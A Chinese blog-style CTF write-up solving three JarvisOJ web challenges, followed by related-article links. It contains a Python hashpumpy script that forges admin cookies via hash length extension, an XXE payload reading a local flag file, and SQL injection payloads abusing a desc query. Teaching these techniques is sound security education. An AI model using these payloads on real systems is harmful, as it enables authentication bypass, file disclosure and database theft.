jarvisoj flag在管理员手上

涉及知识点：

（1）代码审计和cookie注入

（2）哈希长度拓展攻击

解析：

进入题目的界面。看到

那么就是想方设法的变成admin了。挂上御剑开始审计。发现cookie有点问题，这个role很明显是guest字符串的序列化。

那么是不是简单的把role换成admin的序列化就可以了？尝试了一下，果然不行。

这时候，御剑扫到东西了。看了一下是个index.php~文件，看了一下内部。。乱码，估计是一个可以复原的文件。

去kali下把后缀改成.swp,使用vim -r指令来复原文件。

得到源码。

<!DOCTYPE html><html><head><title>Web 350</title><style type="text/css">	body {		background:gray;		text-align:center;	}</style></head>

<body>	<?php 		$auth = false;		$role = "guest";		$salt = 		if (isset($_COOKIE["role"])) {			$role = unserialize($_COOKIE["role"]);			$hsh = $_COOKIE["hsh"];			if ($role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"]))) {    //strrev()函数使字符串倒过来				$auth = true;			} else {				$auth = false;			}		} else {			$s = serialize($role);			setcookie('role',$s);			$hsh = md5($salt.strrev($s));			setcookie('hsh',$hsh);		}		if ($auth) {			echo "<h3>Welcome Admin. Your flag is 		} else {			echo "<h3>Only Admin can see the flag!!</h3>";		}	?>	</body></html>

审计代码发现这是一道哈希长度拓展攻击。

本来可以使用hashpump来工具操作，但是这道题没有给salt的长度。。只能爆破了。

附上爆破脚本

import requests,hashpumpy,urllib

def attack():

    url = 'http://web.jarvisoj.com:32778/'

    old_cookie = '3a4727d57463f122833d9e732f94e4e0'

    str1 = 's:5:"guest";'

    str2 = 's:5:"admin";'

    str1 = str1[::-1]                           #倒过来,这道题要role的值反过来求md5

    str2 = str2[::-1]

    for i in range(1,20):                       #用于爆破salt的长度

        new_cookie,message = hashpumpy.hashpump(old_cookie,str1,str2,i)

        payload = {'role':urllib.parse.quote(message[::-1]),'hsh':new_cookie}           #quote()可以把 \x00 变成 %00

        ans = requests.get(url,cookies = payload)

        print(i)

        print(ans.text)

        if 'welcome' in ans.text:

            print(ans.text)

#print(urllib.parse.quote('\x00'))

attack()

爆破出flag。

PS:哈希长度拓展攻击只能用于salt在可变参数之前的情况下。还有本题的逆序是个特例，常用脚本可以去掉str1 = str1[::-1]等的。

jarvisoj api调用

设计知识点：

xxe

解析：

就是一个xxe。发个包就完事了，就不单独拿出来写博客了。（其实对我这种新手还是挺难看出是xml的）

<?xml version="1.0"?>

<!DOCTYPE abcd[

<!ENTITY any SYSTEM "file:///home/ctf/flag.txt">]>

<aaa>&any;</aaa>

jarvisoj  inject

涉及知识点：

desc查询

解析：

有点恶心，但是没必要专门为它写一篇随笔。源码在index.php~中这个御剑可以扫到。

<?php

require("config.php");

$table = $_GET['table']?$_GET['table']:"test";

$table = Filter($table);

mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();

$sql = "select 'flag{xxx}' from secret_{$table}";

$ret = sql_query($sql);

echo $ret[0];

?>

desc的固定查询格式是

desc `table1` `table2`　　　　//只要有一个表正确就返回true

所以payload: ?table=test` `union select database() limit 1,1

（当初好久没注sql忘记了limit 1,1 在这卡了好久，复习下吧，其他的都和普通sql没区别）

最后用payload: ?table=test`  `union select flagUwillNeverKnow from secret_flag limit 1,1 　　拿到flag

jarvisoj flag在管理员手上的更多相关文章

  1. jarvis OJ WEB题目writeup

    0x00前言 发现一个很好的ctf平台,题目感觉很有趣,学习了一波并记录一下 https://www.jarvisoj.com 0x01 Port51 题目要求是用51端口去访问该网页,注意下,要用具 ...

  2. PHP代码审计分段讲解（12）

    28题 <!DOCTYPE html> <html> <head> <title>Web 350</title> <style typ ...

  3. 南邮ctf-web的writeup

    WEB 签到题 nctf{flag_admiaanaaaaaaaaaaa} ctrl+u或右键查看源代码即可.在CTF比赛中,代码注释.页面隐藏元素.超链接指向的其他页面.HTTP响应头部都可能隐藏f ...

  4. （十九）git版本管理软件——搭建git服务器

    创建管理员git 为管理员用户添加sudo权限 生成管理员秘钥 设置管理员git提交账号和邮箱 下载安装gitolite 启动gitolite 添加项目版本库 添加项目成员 项目成员下载项目 gito ...

  5. 南邮CTF - Writeup

    南邮CTF攻防平台Writeup By:Mirror王宇阳 个人QQ欢迎交流:2821319009 技术水平有限~大佬勿喷 ^_^ Web题 签到题: 直接一梭哈-- md5 collision: 题 ...

  6. Stack Overflow是如何做应用缓存的

    首先要说下缓存是什么?缓存,就是在取出数据结果后,暂时将数据存储在某些可以快速存取的位置(例如各种NoSQL如Redis,HBase,又或MemoryCache等等),于是就可以让这些耗时的数据结果多 ...

  7. 仓库ERP管理系统（springboot）

    查看更多系统:系统大全,课程设计.毕业设计,请点击这里查看 01 系统概述 基于SpringBoot框架和SaaS模式,非常好用的ERP软件,目前专注进销存+财务功能.主要模块有零售管理.采购管理.销 ...

  8. ASP.NET 实现站内信功能（点对点发送，管理员群发）

    正好这段时间在研究这个功能,还是得感谢这位大神,没有他的引路,我就不可能把站内信做出来. http://www.cnblogs.com/grenet/archive/2010/03/08/168065 ...

  9. Oracle数据库管理员面试题

    Oracle数据库管理员面试题 1.模拟使用oracle的flashback找回过去某个时间点的数据,实现误操作的恢复. http://www.txw100.com/soft/2013/08/547. ...

随机推荐

  1. python xmind转Excel（puppet洛洛原创）

    需求:将xmind文件转为Excel文件,并添加UI界面操作以降低操作难度. 这个需求一句话就讲清楚了,但实际上还需要做很多工作: 1,了解Xmind文件结构 2,提取Xmind文件分支内容(重点) ...

  2. 在spark上构造随机森林模型过程的一点理解

    这篇文章仅仅是为了帮助自己理解在分布式环境下是如何进行随机森林模型构建的,文章中记录的内容可能不太准确,仅仅是大致上的一个理解. 1.特征切分点统计 不管是连续取值型特征还是离散取值型特征,分裂树结点 ...

  3. 掉电后osdmap丢失无法启动osd的解决方案

    前言 本篇讲述的是一个比较极端的故障的恢复场景,在整个集群全部服务器突然掉电的时候,osd里面的osdmap可能会出现没刷到磁盘上的情况,这个时候osdmap的最新版本为空或者为没有这个文件 还有一种 ...

  4. FL Studio钢琴卷轴之工具菜单的Riff命令

    鼠标左键点击FL Studio钢琴卷轴窗口中的"工具"命令,我们就可以打开快捷工具菜单.快捷菜单中包含了用于音符编辑的各种工具.按照该菜单的顺序,我们先来看一下什么是Riff器命令 ...

  5. MathType单边大括号的编辑技巧你知道吗？

    大家都知道,一般情况下,数学里面的括号都是成对出现的,但是也有些情况下可以只用到单边的括号,就比如分段函数,在编写的时候只需用到左半边的括号.MathType作为专业的公式编辑器,用它来编写公式再方便 ...

  6. FL Studio中如何制作和混音Dutch Lead（上）

    Dutch Lead是电子音乐类型Dutch House以及Bigroom House中常用的Lead音色,这一篇文章中我将从制作和混音两方面来讲解Dutch Lead. (一).Dutch Lead ...

  7. 苹果电脑怎么给浏览器安装Folx扩展程序

    Folx是一款MacOS专用的老牌综合下载管理软件,它的软件界面简洁,应用简单方便,下载管理及软件设置灵活而强大.Folx不但能够进行页面链接下载.Youtube视频下载,而且还是专业的BT下载工具. ...

  8. 思维导图软件MindManager的视图介绍

    MindManager思维导图软件提供了多种视图帮助用户更好边界组织思维导图,包括导图视图.大纲视图.甘特图.链接的视图等等,下面将逐一介绍MindManager视图模式及其作用. 打开软件视图功能区 ...

  9. AWS CodePipeline部署Maven项目至EC2

    背景 AWS CodePipeline 是一种持续性的集成与交付服务,可以实现快速而可靠的应用程序和基础设施更新.根据您定义的发布流程模型,只要代码发生变更,CodePipeline 便会生成.测试和 ...

  10. Java数据结构（七）—— 排序算法

    排序算法(Sort Algorithm) 排序算法介绍和分类 将一组数据,依指定顺序进行排列 排序的分类 内部排序 指将需要处理的所有数据都加载到内部存储器中进行排序 外部排序 数据量过大,无法全部加 ...